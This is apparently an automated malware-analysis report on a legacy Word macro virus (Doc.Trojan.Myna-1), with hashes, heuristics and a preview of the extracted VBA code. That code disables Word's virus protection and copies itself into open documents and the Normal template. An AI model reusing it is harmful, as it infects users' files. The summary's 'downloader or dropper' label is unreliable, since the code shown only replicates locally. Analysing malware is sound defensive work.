Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78a1f2c45cad78ef…

MALICIOUS

Office (OLE)

39.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0b9111a334537a4e3114db107b0d6f67 SHA-1: 5734c1faf80add8b2ca6eb97b89f50b2c7801266 SHA-256: 78a1f2c45cad78ef1913704b7ff5d544519da8d33d4b51cbe11a2d73336a710b
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoClose and Document_Open, which are commonly used for malicious purposes. The macros attempt to disable virus protection and inject code, indicated by the presence of 'MYNAMEISVIRUS' and the attempt to insert lines from the Autoexec macro. This behavior strongly suggests a downloader or droppper functionality, aiming to fetch and execute further malicious content.

Heuristics 5

  • ClamAV: Doc.Trojan.Myna-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Myna-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4871 bytes
SHA-256: 471fd060e07a5783d5ff6bf9a9298a7f1887233d3f45c447c5f74bdbed2a9ce6
Detection
ClamAV: Doc.Trojan.Myna-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Sub AutoClose()
'HP Authorized Customer4/23/99 10:57:31 PMCanon BJC-610 on LPT1:Final-Design-1
On Error GoTo out
'HP Authorized Customer4/23/99 10:57:32 PMCanon BJC-610 on LPT1:Final-Design-1
Options.VirusProtection = False
'HP Authorized Customer4/23/99 10:57:32 PMCanon BJC-610 on LPT1:Final-Design-1
Options.SaveNormalPrompt = False
'HP Authorized Customer4/23/99 10:57:32 PMCanon BJC-610 on LPT1:Final-Design-1
Options.ConfirmConversions = False
54
Private Sub Document_Close()

'

Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_New()
'
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 Options.VirusProtection = False
 answer = "MYNAMEISVIRUS"
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If
    End If
Next
Next
End If
  For Each xitem In NormalTemplate.VBProject.VBComponents
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1)
    If aready = False Then
          With xitem.codemodule
             .insertlines star, MacroContainer.VBProject.VBComponents(1).codemodule.Lines(1, 150)  'codemodule.procbodyline("Autoexec", vbext_pk_Proc)
         End With
    End If

    End If
Next
End Sub

Private Sub Document_Open()
Dim aready As Boolean
Dim star As Long
Dim send As Long
Dim answer As String
Dim path$
 answer = "MYNAMEISVIRUS"
  Options.VirusProtection = False
star = 1
send = 1
path$ = Options.DefaultFilePath(wdUserTemplatesPath)
If Count <> 1 Then
  Count = Count + 1
 ' Documents.Add
End If
If Documents.Count <> 0 Then
For i = 1 To Documents.Count
For Each xitem In Documents(i).VBProject.VBComponents
   ' If xitem.Name = "NewMacros" Then
    If xitem.Name = "ThisDocument" Then
    send = xitem.codemodule.countoflines
    aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 
... (truncated)